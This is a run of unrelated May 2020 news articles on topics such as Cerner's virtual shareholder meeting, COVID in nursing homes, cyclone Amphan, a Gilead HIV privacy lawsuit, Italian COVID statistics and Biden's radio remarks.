KANSAS CITY, Mo., May 15, 2020 (GLOBE NEWSWIRE) -- Cerner Corporation (CERN), a global health care technology company, is hosting its Annual Shareholder Meeting virtually May 22, 2020, at 10 a.m. CDT. Shareholders will not be able to attend the Annual Shareholder Meeting in person at a physical location due to the impact of the COVID-19 pandemic. However, the platform for the virtual meeting will provide shareholders as of the close of business March 24, 2020, the ability to listen to the Annual Shareholder Meeting live, submit questions and submit their vote during the meeting if they have not already voted.



To be admitted to the virtual Annual Shareholder Meeting, shareholders should visit www.virtualshareholdermeeting.com/CERN2020 (or access the link from the Investor Relations section of Cerner.com ) and enter their 16-digit control number, which can be found on the proxy card, voting instruction form or other stockholder notices previously received. Online check-in will begin 15 minutes prior to the meeting, at 9:45 a.m. CDT; the Annual Shareholder Meeting will begin promptly at 10 a.m. CDT May 22, 2020.

Cerner encourages shareholders to read the 2020 Proxy Statement and other meeting materials carefully . Even if shareholders intend to attend the live webcast of the virtual Annual Shareholder Meeting, it is strongly recommended that shareholders vote and submit their proxies in advance by one of the methods described in the Proxy Statement. If a shareholder has already voted, no additional action is required. Guests are invited to attend the virtual Annual Meeting in listen-only mode by going to the website referenced above.

Those that are unable to access the meeting online may call 1-877-328-2502 to listen to the live audio. Please note that shareholders will not be considered present and will not be able to vote or ask questions if they choose to listen in via telephone only. Please be sure to vote your shares in advance of the 2020 Annual Shareholders' Meeting via one of the methods described in the Proxy Statement. A replay of the meeting will be available online shortly after its conclusion.

Story continues

About Cerner

Cerner s health technologies connect people and information systems at thousands of contracted provider facilities worldwide dedicated to creating smarter and better care for individuals and communities. Recognized globally for innovation, Cerner assists clinicians in making care decisions and assists organizations in managing the health of their populations. The company also offers an integrated clinical and financial system to help manage day-to-day revenue functions, as well as a wide range of services to support clinical, financial and operational needs, focused on people. For more information, visit Cerner.com , The Cerner Blog or connect on Facebook , Instagram , LinkedIn , Twitter or The Cerner Podcast . Nasdaq: CERN. Health care is too important to stay the same.

Certain trademarks, service marks and logos set forth herein are property of Cerner Corporation and/or its subsidiaries.
Ruby Hazen has been mostly confined to her room at the Villager Inn Retirement Center in Castle Rock since the coronavirus began spreading across the state late last winter.

The 99-year-old said Villager caretakers take good care of her and her fellow residents. Despite deadly outbreaks in assisted living centers elsewhere, Hazen said she is not too scared of the virus.

I was worried about other people but not myself, because I figured I was isolated up here, she said.

Through a combination of care and perhaps good fortune, Cowlitz Countys long-term care facilities have avoided the rash of coronavirus cases and deaths that have swept through many nursing homes across the country. As of Thursday, the county had reported no cases or deaths linked to a long-term care facility. In contrast, 19% of all COVID-19 cases and 62% of deaths in Washington were associated with a long-term care facility, either to staff, visitors and patients.

Local assisted living and nursing homes say theyve closely followed state and federal safety guidelines or been even stricter. While family members said separation from loved ones has been difficult, they appreciate the restrictions that so far have kept residents and staff safe.

Saying no hard on dad

Until March, Leigh Ford visited her 92-year-old father at the Woodland Care Center about every other day since he moved in about a year and a half ago.

One of hardest things for us is were so involved, Ford said of herself and siblings. To go from seeing him every couple days to now we cant see him is really hard.

Care Center staff have been remarkable and helped Fords family communicate with her father, she said. They even help set up a video with his twin great-grandsons for their birthday, Ford said.

Theyve done everything they can to accommodate, she said.

Ford said her fathers hearing loss makes virtual communication difficult. Staff members have helped translate over the phone or video calls by repeating what she says to her father, she said. Face masks also make it difficult for him because he relies on reading lips, Ford said.

Ford said one of her biggest concerns was making sure her father understands why she and her siblings cant visit in person. Although the staff been working with her to convey that, Ford said shes worried he doesnt realize its not his familys choice.

He summoned me through the window during a window visit last weekend to come in, Ford said in an email. I had to shake my head no. It broke my heart, not knowing if he understood that it wasnt that I didnt want to go in to visit. I couldnt.

State orders

The state issued a directive to long-term care facilities on March 10, urging them to limit and screen visitors, screen all staff, provide personal protective equipment for staff, monitor residents for symptoms, limit resident movement, ensure social distancing and increase sanitation.

Recommendations evolved over time as cases rose across the state, including prohibiting visitors and increasing screening and testing of residents and staff, according to guidelines posted on the Department of Health website.

Eric Hanson, spokesman for Koelsch Communities, which operates four long term care locations in Cowlitz County, said the company is closely following CDC and state guidelines. Koelsch started taking preventative measures in February and has updated its protocols as new information and recommendations are released, he said.

Anybody in this time would feel fortunate not to have something happening, he said of the lack of cases in Cowlitz facilities. But at the same time, were sympathetic to those dealing with tragic circumstances.

EmpRes Healthcare Management, which operates Frontier Rehabilitation and Extended Care Center and Americana Health and Rehabilitation Center in Longview, is following similar guidelines.

Staff are screened for COVID-19 symptoms before each shift, including having their temperature taken, according to the EmpRes website. Workers wear masks and other personal protective equipment when appropriate.

The ability to protect high-risk populations, including those living in long-term care facilities, is one of the key areas considered in Gov. Jay Inslees four-phase Safe Start phased reopening plan. The plan requires high-risk populations, including residents, to stay home and not resume public interactions with distancing until the Phase 4, when large gatherings will be allowed again. Its unclear when that phase may begin, although at least three weeks will take place between each phase. Cowlitz County still is in Phase 1, but might soon move to Phase 2.

Ruby Hazen said she and her fellow Villager Inn residents have been quarantined in their rooms and staff bring them food and medications. Their temperatures and blood pressure are taken daily, she said.

Our caretakers take excellent care of us, she said. Our quarantine ensures our lives. Let us go back to normal life slowly, so that we do not lose our freedom again.

Playing Yahtzee in the hallway

The Villager Inn is like one big family, Hazen said, and she misses being able to spend time with the other residents, participate in activities and games and eating together in the dining room.

I think I miss it all, Hazen said, but what she misses the most is being able to hug somebody and letting them know you care.

Ginger Vorse, activities director, has been doing extra things to cheer up residents, Hazen said, like making them Easter baskets. Earlier this week, some residents played Yahtzee in the hallway using large, wooden dice, she said.

Members of the community, including local children, have sent notes letting residents know theyve been thinking of them, and many residents have window visits with friends and family members, she said.

Tricia Rodman, whose father-in-law lives in the Canterbury Inn, said the measures the facility has taken are reassuring. But shes concerned about his condition because his memory loss makes it impossible to talk to him over the phone or video, she said. Staff update her mother-in-law when she calls, Rodman said, but it cant compare to an in-person visit.

We wish so much that we could see him to make sure hes okay, she said.

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Reliance Industries-Rights Entitlement share price dropped 7.9 percent to close at 215.15 on May 22 after rising 53.8 percent in the previous two consecutive sessions.

The RE hit an intraday high of Rs 230 and a low of Rs 211.50 after opening at Rs 227.85 on the National Stock Exchange.

Trading volumes were more than 58 lakh Rights Entitlement shares.

RIL-RE will continue to trade till May 29 and the eligibility for partly paid-up rights shares will be determined on the basis of June 2 closing. The eligible investor has to make a first installment payment of Rs 314.25 per rights share by June 3.

These partly paid-up rights shares will be allotted and credited by June 11 and listed on exchanges the next day.

The second installment of Rs 314.25 per rights share will be paid by investor in May 2021 and the last installment of Rs 628.5 in the November of the same year.

Reliance Industries shares closed at Rs 1,431.55, down 0.70 percent, after hitting an intraday high of Rs 1,458 and low of Rs 1,426.50.

Today, global private equity firm KKR has invested Rs 11,367 crore in Reliance Industries' (RIL) digital unit for a 2.32 percent stake.

"Over the last month, leading technology investors, such as, Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms," RIL said.

Disclaimer: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd.
The Manya Krobo Queen Mothers Association in the Manya Krobo traditional area has appealed to President Akufo-Addo to call their paramount chief (Konor) Nene Sackite II to order over his destoolment of their paramount queen mother.

They have also threatened to drag the Konor to The Hague to seek redress if the paramount chief does not rescind his decision in seven days starting from today, Friday, 22 May 2020.

The reasons for the Konors destoolment of the queen mother has not been made public but the Daily Guide reported that its sources intimated that Nana Aplam II courted the ire of the paramount chief when she married a lawyer from a Division with which he has problems, thus, felt betrayed.

Her new husband, according to Daily Guide, hails from the Manya Division headed by the Divisional Chief of the area, Okpatakpla Nene Sasraku IV.

He, together with five other Divisional Chiefs, in October 2019, declared their autonomy from Nene Sakite II and elevated all the six Divisional Stools to paramountcies without the approval of Nene Sakite who is the Overlord of the Manya Krobo State.

Speaking to Class News regional correspondent on the destoolment of Nana Aplam II, one of the queen mothers, Manye Ami Bodor II from the Manya Akomoase clan, said: We slept one day and woke up and it was in the air that he has destooled our queen mother. He didnt give us any reason. We only heard it on the airwaves, on the internet and social media.

We are calling on him, we are begging him, he is our chief. All that the Manya Krobo Queen Mothers Association, what we are telling him is he should reinstate our queen mother for us. We dont have any problem with her. He should reinstate her because he didnt give us any reason.

Even if you are working with your junior ranks and somebody does something that is not good, at least, youll query the person and the person will give you an answer.

Even murderers, when they go to court, they are given the opportunity to explain themselves, Manye Ami Bodor II said, adding: We are begging him, we are on our knees, we are speaking with one voice. All that we are telling him [is that] he should reinstate our queen mother for us. We dont have any problem with her because we have not seen anything wrong. All the charges hes levelling against her are not true. The queen mother is rather uniting us.

She said the queen mothers are ready and willing to go the long haul in seeking redress for their queen mother.

We are telling him and promising him that if need be, well pursue this matter in The Hague. We would do it. As to our source of funding, he should leave it to us. We are calling on all women groups in Ghana to come and help us. WiLDAF, whatever, to come to our aid.

The queen mothers also made a passionate appeal to the President to intervene in the matter.

We are calling on our President, President Nana Addo, we are begging him that he should call our chief to order.  We dont want to come to the media anymore, she said.

Directing her anger at the Konor, Manye Ami Bodor II quizzed:  If she were your daughter in her present state, would you do this thing to her? We will not give you the chance. We will go after you Nene Sackite II. My name is Manye Ami Bodor. If you dont reinstate her for us, weve given you seven days and it starts from now; if we dont hear from you, youll hear from us big time.

We will go after you, she warned the Konor.

Another queen mother, Manye Narkie Gorme, said: Im surprised and Im even short of words because one, I thought if you should be living with the father and then maybe your wife or your daughter or your sister should do something, I think you should alert the person; you should let the person know what is going on or what she has done but we dont even know whats going on, we dont even know what the lady has done, and we are surprised of what is happening.

Yes, Im very very surprised of what is happening because since Nana Aplam II had been enstooled, Nene didnt call the queen mothers to tell us: Oh, this is what your queen mother has done and because of this, I have to punish her or something. No. Nothing of that sort has been done before, so, Im surprised of what is happening and I dont know what to say.

---classfmonline
Thousands of cancer survivors could benefit from a new model of shared follow-up care delivered by specialist cancer care nurses, GPs, and cancer specialists incorporating telehealth sessions being implemented under a five-year $1.5 million NHMRC Investigator Grant.

A new nurse-enabled model for breast cancer and lymphoma survivors

Breast cancer and lymphoma are most common cancer types with high survival rates

Model incorporates telehealth



QUT Faculty of Health Professor of Cancer Nursing, Ray Chan said the Investigator Grant would be used to transform the way Australian cancer survivors receive care after they have completed treatment.

To achieve this transformation, my team and I will implement and evaluate a shared follow-up model for early breast cancer and lymphoma, the most common cancer types with high survival rates. The latest 5-year survival rates for breast cancer and lymphoma reached 91 per cent and 76 per cent respectively, and cancer is now recognized as a chronic condition. Current follow-up care requires patients to regularly attend specialist outpatient clinics for 3 to 5 years, sometimes longer. This model does not capitalize on GPs expertise and is not sustainable in the long run. Telehealth is well-established in Australia and can be used to save cancer survivors in rural and remote areas from travelling to the city for check-ups. COVID-19 has further increased familiarity of patients and health professionals in their use of telehealth. Ray Chan, QUT Faculty of Health, Professor of Cancer Nursing

Professor Chan is also a member of the QUT Centre for Healthcare Transformation.

Professor Chan said he was thrilled and honored to have received a NHMRC Investigator Grant to support his research.

This implementation trial will provide a new patient-centered care model to improve health-related quality of life for survivors through a significantly better patient care experience and higher uptake of healthy lifestyle behaviors. In addition, an integrated, shared-care approach involving cancer specialists and GPs is likely to be more cost-effective than a specialist-led model and can relieve pressures in acute care to meet the ever-increasing demand. Ray Chan

Professor Chan said the new model would use specialist cancer nurses, who make up the largest acute cancer care workforce, to enable the shared-care arrangement.

These nurses will receive training and support to address any barriers impeding share-care arrangements, he said.

We will also ensure GPs have access to a range of clinical tools and resources, including Medicare items to enable them to spend time with the patient to discuss any side-effects of treatment or anxieties they may have.

Professor Chan said the grant is an important investment in health service innovation researchers.
The Andhra Pradesh High Court



on Friday ordered a CBI inquiry into an incident in which a suspended government doctor was allegedly beaten up and paraded bare-chested on the streets of Visakhapatnam by police for 'creating ruckus' in an inebriated state last week.

A division bench of justices Rakesh Kumar and Suresh Reddy gave the direction after perusing a report submitted by a local magistrate, who was asked to go into the issue, along with a medical report produced by the state government, on the mental health of the doctor.

The bench said it found discrepancies in the two reports and ordered the CBI to register a case and conduct a thorough probe into the matter.

The court had taken cognisance of the alleged incident highlighted in a letter received from a TDP leader and directed the magistrate in Visakhapatnam to personally visit the doctor, record his statement and submit a report.

A case was registered against Sudhakar, who was suspended for his "controversial" remarks against the Y S Jagan Mohan Reddy regime, for allegedly creating ruckus on the streets under the influence of alcohol.

He was taken into custody on Saturday.

The doctor was booked under Sections 353 (Assault or criminal force),427 (Mischief causing damage)and 506 (criminal intimidation)of IPC.

A video of the doctor, in which he is purportedly seen abusing policemen and passers-by and getting kicked by the personnel has gone viral.

The incident has drawn criticism from opposition party leaders.

Earlier in March, Sudhakar hit headlines for criticising the state government before the media stating that the government failed to provide sufficient N-95 masks and the PPEs for doctors.

Subsequently, he was suspended.

Meanwhile, the ruling YSR Congress has alleged that Sudhakar was a TDP supporter.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Prime Minister Narendra Modi on Friday flew down to Kolkata to take stock of the situation in large swathes of West Bengal that were decimated by cyclone 'Amphan' and announced an advance assistance of Rs 1,000 crore for restoration work, as the death toll due to the natural calamity mounted to 80.

IMAGE: A mini bus is damaged after a huge tree got uprooted and fell on the bus owing to the heavy rainfall accompanied by the Super Cyclone Amphan, in Kolkata. Photograph: ANI Photo

Modi along with Chief Minister Mamata Banerjee and Governor Jagdeep Dhankhar conducted an aerial survey of the cyclone-ravaged areas earlier in the day and held a review meeting.

Prior to the meeting, Banerjee demanded that 'Amphan' be declared a national disaster. She said the state had suffered losses to the tune of Rs 1 lakh crore in the fiercest cyclone to hit the state in over 100 years.

IMAGE: Trees and poles got uprooted and block the way during the landfall of cyclone Amphan, in Kolkata. Photograph: ANI Photo

"The prime minister has announced Rs 1,000 crore emergency fund... what is the package I do not know. I have told him that we will give him the details. It will take some time to assess the overall situation, but the damage is worth more than Rs 1 lakh crore," she said.

Banerjee said she reminded the PM about Rs 53,000 crore the central government owed to the state for various social security schemes.

IMAGE: Civil defence volunteers remove atree which got uprooted during the landfall of cyclone Amphan, in Burdwan. Photograph: ANI Photo

The PM also announced an ex gratia of Rs 2 lakh each for families of the deceased and Rs 50,000 for the injured.

Appreciating Banerjee's efforts in galvanising the state administration to deal with the natural disaster amid the COVID-19 pandemic, Modi said the whole country stands with West Bengal.

Meanwhile, eight more bodies were recovered from different parts of the state since Thursday evening, raising the death toll to 80, officials said.

SEE: PM Modi takes aerial survey of West Bengal with CM Mamata Banerjee

In various parts of the state, bodies were found floating on water, which were recovered by disaster management teams and sent for postmortem, they said.

The number of fatalities is likely to go up as many places are still inaccesible due to the devastation unleashed by the cyclone, officials said.

Large-scale damage to infrastructure, public and private property was reported from North and South 24 Parganas, East and West Midnapore, Kolkata, Howrah and Hooghly districts.

North 24 Parganas District Magistrate Chaitali Chakrabarty said nearly 50 lakh people have been affected and communication networks destroyed.

IMAGE: Trees get uprooted caused due to the heavy rainfall accompanied by the Super Cyclone Amphan and damage a car which was parked nearby, in Kolkata. Photograph: ANI Photo

"In this time of distress and despair, the entire country and the Centre are with the people of Bengal. The Union government will extend all help to the state," Modi said.

The Centre will also deploy a team to assess the extent of damage in the state, he said.

West Bengal Bharatiya Janata Party president Dilip Ghosh said the central government should directly transfer the money into the accounts of the beneficiaries to avoid any 'irregularities'.

Dissatisfied with the assistance amount, Leader of the Congress party in Lok Sabha, Adhir Ranjan Chowdhury said Rs 1,000 crore is 'nothing compared to the damage that the state has suffered'.

Lakhs of people were rendered homeless as the cyclone cut a swathe through half-a-dozen districts of West Bengal on Wednesday night, blowing away shanties, uprooting thousands of trees and swamping low-lying areas.

IMAGE: Residents make their way through water-logged streets after heavy rainfall due to Super Cyclone Amphan, in Kolkata. Photograph: ANI Photo

In some parts of the state, survivors were left with houses reduced to debris and water-filled farmlands.

Although electricity and mobile services were restored in some parts of Kolkata and North and South 24 Parganas -- the two worst-hit districts -- large areas of the city continued to remain without power as electric poles and communication lines had been blown away by super strong winds.

Meanwhile, several protests demanding relief and restoration of electricity and drinking water supply took place in parts of the state, including the state capital.

Kolkata Mayor Firhad Hakim assured that normalcy would be restored within a week.

Over 5,000 trees, beside a few hundred electric posts, traffic signals and police kiosks have been uprooted in and around Kolkata, he said.

"I can assure the people of Kolkata that normalcy would be restored within a week. We are in touch with the private power supply provider and had asked them to restore the lines as early as possible," the mayor said.

Out of the eight bodies that were recovered, four were from Kolkata and two each from South 24 Parganas and Howrah.

Teams of the NDRF and the State Disaster Relief Force (SDRF) have been working on a war-footing to clear the roads blocked by fallen trees.
The two men are plaintiffs in a federal class action lawsuit filed last night in the U.S. District Court for the Northern District of California, alleging that the California pharmaceutical company Gilead Sciences Inc. illegally compromised the privacy rights of people taking its medications by recklessly mailing the inappropriately marked envelopes after promising its customers confidentiality. The exact number of Gilead customers who received the mailing is not immediately known. For a copy of the complaint, click here .

The plaintiffs from Alabama and Indiana, who do not know each other and who are listed with pseudonyms to protect their confidentiality, retained a litigation team of Ronda B. Goldfein of the AIDS Law Project of Pennsylvania, Shanon J. Carson of Berger Montague PC, and John J. Grogan of Langer Grogan & Diver P.C.

The case is similar to a federal class action lawsuit filed three years ago by Goldfein and Carson against the insurance company Aetna after more than 12,000 customers received large-windowed envelopes revealing they had prescriptions for HIV medications. Aetna settled that case for more than $17 million.

Gilead is a biopharmaceutical company headquartered in Foster City, Calif., that develops and sells prescription drugs, including for the treatment and prevention of HIV. They include Truvada and Descovy, the only drugs available for the prescribed medication regimen known as pre-exposure prophylaxis ("PrEP"), for people who want to avoid contracting HIV. The plaintiffs in the lawsuit are participants in Gilead's Advancing Access Program, a patient-assistance program offering discounts on the expensive PrEP drugs.

In signing up for the Advancing Access Program, Gilead customers were promised confidentiality and did not expect or agree to receive mail from Gilead that would link them to HIV. Stigma surrounding HIV can lead to discrimination in employment, housing, education, and health care, and even violence. Fear of that stigma is widely recognized as contributing to the AIDS epidemic by discouraging people from getting tested. To ensure that people feel safe to come forward to be tested and treated for HIV, many states have adopted laws that protect the confidentiality of HIV-related information and provide for statutory damages. The lawsuit demands that Gilead reform its mailing procedures and pay monetary damages to the plaintiffs and class members.

"The Aetna case put a spotlight on the obligation to safeguard confidential HIV information," said Goldfein. "We hoped that the Aetna case would put an end to faulty mailings by companies holding this sensitive information. Mail delivery should not strike fear in the hearts of people who live with HIV or are at risk of getting it."

Carson said: "Our law firm is constantly battling on behalf of our clients in cases involving serious data breaches and violations of consumers' privacy rights. Ironically, while many of these cases involve consumer data stolen by third parties, the violation of privacy rights in this case is wholly self-inflicted by Gilead. Indeed, our clients report that when they called Gilead to complain about the above mailing at issue, the company acknowledged responsibility. Now we ask that Gilead, like Aetna before it, step up to the plate and pay plaintiffs and class members the damages they are owed. We look forward to litigating this case in court and obtaining a fair and just resolution for our clients."

Those affected by Gilead Sciences' privacy breach should contact the AIDS Law Project of Pennsylvania at 215-587-9377 or by using the contact information below. Additional information about this lawsuit is available at www.aidslawpa.org and www.bergermontague.com/gilead.

Founded in 1988, the AIDS Law Project of Pennsylvania is the nation's only independent nonprofit public-interest law firm providing free legal services to people living with HIV and those affected by the epidemic.

Berger Montague PC, a national plaintiffs' law firm, is headquartered in Philadelphia and has offices in San Diego, Minneapolis, and Washington, D.C. The firm has played lead roles in major cases for 50 years, resulting in recoveries of more than $36 billion for its clients and the class members they have represented.

Langer Grogan & Diver P.C. is a Philadelphia-based complex commercial litigation boutique law firm built on a focus and dedication to the public good.

FOR MORE INFORMATION, CONTACT:

Ronda B. Goldfein Shanon J. Carson Executive Director Managing Shareholder AIDS Law Project of Pennsylvania Berger Montague PC Email: [email protected] Email: [email protected] Telephone:(215) 680-1305 Telephone: (215) 875-4656 John J. Grogan Partner Langer Grogan & Diver P.C. Email: [email protected] Telephone: (215) 320-5662

SOURCE Berger Montague

Related Links

http://www.bergermontague.com


Season 5, also the final one for The Crown, will see actor Imelda Staunton play Queen Elizabeth II.

The Crown executive producer Andy Harries says he is unsure about shooting for the fifth season of the hit period drama with social distancing rules in place.

The upcoming fourth season of the Netflix series, which is set to be Olivia Colman's last as Queen Elizabeth II, managed to finish production early amid the coronavirus pandemic and lockdown measures.

(Click here for LIVE updates on coronavirus outbreak)

Harries said he doesn't know when things will go back to normal, reported Radio Times.

"I hate to be doomy and gloomy because I am an optimistic guy. Every day is a new challenge and every day you've got to be up for that challenge and you have got to plow on.

"Obviously we are facing challenging times and I don't know when we will return to filming normally. I am not sure if we can film socially distanced. I am sure some productions could do it but I am not sure that the shows we are doing would work, but we are looking at it very closely," he said at a BAFTA masterclass.

Harries said the pandemic will force many broadcasters and producers to cut down on the budget for projects.

"All the big broadcasters will be losing a lot of money, a lot of productions will be trimmed back - a lot of budgets will be trimmed. It will be tough for producers and it's hard to pretend otherwise," he said.

The fifth season, also the final one for the Emmy-nominated show, will see actor Imelda Staunton play the role of the British monarch.
Source: Xinhua| 2020-05-23 02:26:48|Editor: huaxia

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ROME, May 22 (Xinhua) -- Italy continued to see a downward trend in the novel coronavirus infections on Friday, almost three weeks after the exit of a national lockdown.

With 652 new infections reported over the past 24 hours, the country's total active infections stood at 59,322, down from 60,960 on Thursday, according to the Civil Protection Department.

The Lombardy region with Milan as its capital, where the pandemic officially first broke out on Feb. 21, still led the way in terms of active infections with 25,933 cases. At the other end of the spectrum was the northern Valle d'Aosta region in the Alps with only 43 infections.

Nationwide, recoveries rose by 2,160 within the 24-hour period, bringing the total to 136,720, up from 134,560 on Thursday.

Of those who tested positive for the coronavirus, 595 are in intensive care, down by 45compared to Thursday, and 8,957 are hospitalized with symptoms, down by 312 over the past 24 hours, the Civil Protection Department said.

The remaining 49,770 people, or 84 percent of those who tested positive, are isolated at home with no symptoms or only mild symptoms.

With 130 new deaths within a day, 32,616 people have succumbed to the virus-caused disease in Italy as of Friday.

The overall number of COVID-19 infections, fatalities, and recoveries has risen to 228,658 cases as of Friday, up from 228,006 cases on Thursday.

WORKPLACE INFECTIONS

Also on Friday, the National Institute for Workplace Accident Insurance (INAIL, in its Italian acronym) said in a statement that 43,399 COVID-19 infections occurred in the workplace between the end of February and May 15, up by 6,000 cases compared to its last report out May 4.

Fatalities rose by 42 to a total of 171 deaths. "About half of the fatalities occurred among health care and social services staff, and nine out of 10 were aged over 50," according to INAIL.

As well, 71.7 percent of those infected were women and 28.3 percent were men, but the gender difference was reversed among the deceased, of whom 82.5 percent were male, INAIL said.

DANGER "NOT PAST"

Italy's COVID-19 infection numbers are "encouraging", Health Minister Roberto Speranza tweeted on Friday. "They tell us the country has withstood the initial reopening on May 4."

"But we must not imagine that we have won. Maximum caution is needed. It takes very little to nullify the sacrifices made so far," the health minister wrote.

Speranza posted his comments after a televised press conference earlier in the day by the National Institute of Health (ISS) President Silvio Brusaferro, who said that "the epidemiological curve... clearly shows it is decreasing" and that "the number of asymptomatic cases is growing."

This means that more and more swabs and contact-tracing activities are being carried out, he explained.

Brusaferro also said that Italy's 20 regions can be divided into "three speeds" of infection since some have very few cases and others have "a significant number," but that "all are decreasing."

Even the Lombardy region where the pandemic first showed up and where the most deaths have occurred is showing a "clear-cut downward trend," Brusaferro added.

The key point, he said, is that the new coronavirus monitoring system the government has put in place is designed to be as sensitive as possible and that authorities will pay attention to "even the slightest sign of a spike" in infections.

"The objective is to prevent the resurgence of epidemic curves that could spiral out of control," Brusaferro said.

Brusaferro was followed by Dr. Giovanni Rezza, the former director of the ISS Infectious Diseases Department who was named Director-General for Preventive Healthcare at the Ministry of Health earlier this month.

Rezza said, "there are two major concerns" in passing from Phase One (lockdown) to Phase Two (post-lockdown): that people fail to follow anti-virus protocols, such as mask wearing and social distancing, and that health authorities fail to "quickly identify and contain" any new COVID-19 outbreaks.

"Health authorities must be able to register even the smallest sign of alarm," Rezza said.

"Thanks to the lockdown, we knocked out the epidemic, (but) we know the virus will continue circulating, (and) the danger is not past," he continued.

"The resilience of the health care system and its capacity to identify hotbeds have increased, and this high level of attention must be maintained constantly," Rezza said.

TOURISM SEES DIRE DAYS AHEAD

In a joint news release on Friday, Italy's Ministry of Culture and Tourism (MIBACT) and the National Tourism Board (ENIT) said that in the first four months of 2020, international air traffic to Italy collapsed by 64.8 percent compared to the same period in 2019.

International bookings for the June-August summer season have dropped by 81.4 percent, compared to -80.1 percent in France and -77.5 percent in Spain.

ENIT forecast a 49-percent drop in international overnight stays this year compared to 2019.

Total visitors (both foreign and domestic) are expected to fall by 41 percent in 2020 compared to the previous year.

The volume of visitors, both national and international, should return to or exceed 2019 levels by 2023.

These scenarios could change for better or worse, depending on how successfully the pandemic is contained and whether or not a second wave occurs, the statement said.

Tourism represents the fourth largest export category in the European Union (EU), according to ENIT. Enditem
Joe Biden said he "should not have been so cavalier" in comments on Friday in which he suggested African Americans who back President Donald Trump "ain't black".

Biden addressed the controversy during a conference call with the US Black Chamber of Commerce Friday afternoon.

Biden earlier suggested that African Americans who back President Donald Trump ain't black, comments that stirred controversy over whether he was being condescending to voters who could decide whether he wins the White House.

The presumptive Democratic presidential nominee appeared on the Breakfast Club, a radio program that is widely regarded in the black community.

The host, Charlamagne Tha God, pressed Biden on reports that he is considering Minnesota Sen. Amy Klobuchar, who is white, to be vice president and told him black voters saved your political life in the primaries and have things they want from you.

I'm not acknowledging anybody who is being considered, Biden said.

But I guarantee you there are multiple black women being considered. Multiple.

A Biden aide then sought to end the interview, prompting the host to say, You can't do that to black media. Biden responded, I do that to black media and white media and said his wife needed to use the television studio.

He then added: If you've got a problem figuring out whether you're for me or for Trump, then you ain't black.

The comments come at a critical point in the presidential campaign as Biden tries to revive the mutli-racial and mulit-generational coalition that twice elected Barack Obama.

He has already committed to picking a woman as his running mate and is considering several African American contenders who could energize black voters. But with black voters already overwhelmingly opposed to Trump, Biden is also considering candidates such as Klobuchar.

Trump and his allies, on defense for weeks over the president's handling of the coronavirus pandemic, were eager to seize on Biden's comments.

South Carolina Sen. Tim Scott, a Trump supporter and the Senate's sole black Republican, said he was shocked and surprised by Biden's remark.

I thought to myself, as an African American, been black for 54 years, I was struck by the condescension and the arrogance in his comments," Scott said in a conference call quickly arranged by the Trump campaign.

"I could not believe my ears that he would stoop so low to tell folks what they should do, how they should think, and what it means to be black.

Symone Sanders, a Biden senior adviser who is also black, said his comment in Friday's interview was made in jest. Let's be clear about what the VP was saying, Sanders tweeted.

He was making the distinction that he would put his record with the African American community up against Trump's any day. Period. Trump himself has a history of incendiary rhetoric related to race.

When he launched his presidential campaign in 2015, Trump called many Mexican immigrants rapists. Campaigning in 2016, he asked black voters, "what the hell do you have to lose? In 2017, he said there good people on both sides of the clash in Charlottesville, Virginia, between white supremacists and anti-racist demonstrators that left one counter-protester dead.

Last year, during a private White House meeting on immigration, Trump wondered why the United States was admitting so many immigrants from shithole countries like African nations. He also blasted four Democratic congresswomen of color, saying they hate America and should go back to where they come from, even though all are U.S. citizens and three were born in the US.

Biden encouraged listeners on Friday to take a look at my record, citing his work as senator to extend the Voting Rights Act of 1965.

The NAACP has endorsed me every time I've run," he said. "Come on, take a look at my record. Black voters helped resurrect Biden's campaign in this year's primaries with a second place finish in the Nevada caucuses and a resounding win in the South Carolina primary after he'd started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire. Sixty-one percent of black voters supported Biden during the primary, according to AP VoteCast surveys across 17 states that voted in February and March.

There is little chance of a sudden shift in support for Trump among black voters. A recent Fox poll shows just 14% of African Americans who are registered to vote have a favourable opinion of Trump, compared with 84% who view him unfavourably.

Seventy-five percent of African American registered voters say they have a favorable view of Joe Biden; 21% hold an unfavorable opinion.

There is a risk, however, of black voters, especially those who are younger, staying home in November, which could complicate Biden's path to victory in a tight election. The Breakfast Club is particularly notable venue for Biden's comments because the program is popular among younger African Americans.

Biden's selection of a running mate could help motivate voters. He's begun vetting contenders, a process he's said will likely last through July. Several black women are among those under consideration, including California Sen. Kamala Harris, Georgia voting rights advocate Stacey Abrams, Atlanta Mayor Keisha Lance Bottoms, Florida Rep. Val Demings, Ohio Rep. Marcia Fudge and Susan Rice, Obama's former US ambassador to the UN.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Two children and a woman were taken to hospital after a dog attack in Aurora Thursday night.

Just before 9 p.m. police were called to a home on Vines Place where three people had been bitten by a family dog, described to police as an American bulldog, York Regional Police Andy Pattenden said.

The three victims were taken to hospital with injuries, he said.

When the officers arrived the dog was dead, Pattenden said.

Two men were also inside the house at the time of the attack but were not injured, he said.
Salman Anees Soz By

On May 12, Prime Minister Narendra Modi announced a Rs 20 lakh crore ($266 billion) package to work as an important stimulus for a self-reliant India. Against the backdrop of the Covid-19 crisis, the whole country was eagerly waiting for this announcement. With his usual command of oratory and a flair for the dramatic, the prime minister triumphantly explained that this package amounts to 10% of Indias GDP.

Over the next five days, the finance minister rolled out announcements in tranches. Each day, the hashtag #AatmaNirbharBharat was trending on social media. Modi had yet again set the agenda by his astute event management and marketing skills. But whats past is prologue. This latest masterstroke announcement left me with a sense of foreboding.

The PM is no stranger to big and dramatic announcements. His populism-laced oratory is the stuff of legend. He weaves the kind of magic that leaves audiences spellbound and makes them believe the impossible. It is a gift that Modi and the BJP have made the most of. Yet can anyone argue with a straight face that Indias fortunes have risen in direct proportion to those of the prime ministers and the BJPs?

Over the last six years, I have observed a pattern. Implementation debacles and misery follow glorious announcements. The poor and vulnerable sections of society suffer. I call it the Modi announcement cycle. It has six phases. In the first phase, after the glorious announcement, you feel that Modi will change India. In phase two, you realise the details are a bit sketchy but you give the government the benefit of the doubt. In the third phase, you wonder if implementation could have been better thought through. In phase four, panic begins to set in. In phase five, as details become clearer and implementation is chaotic, you tell yourself that you knew all along that the glorious announcement was in fact a jumla. In phase six, you are despondent and hoping we survive the nightmare.

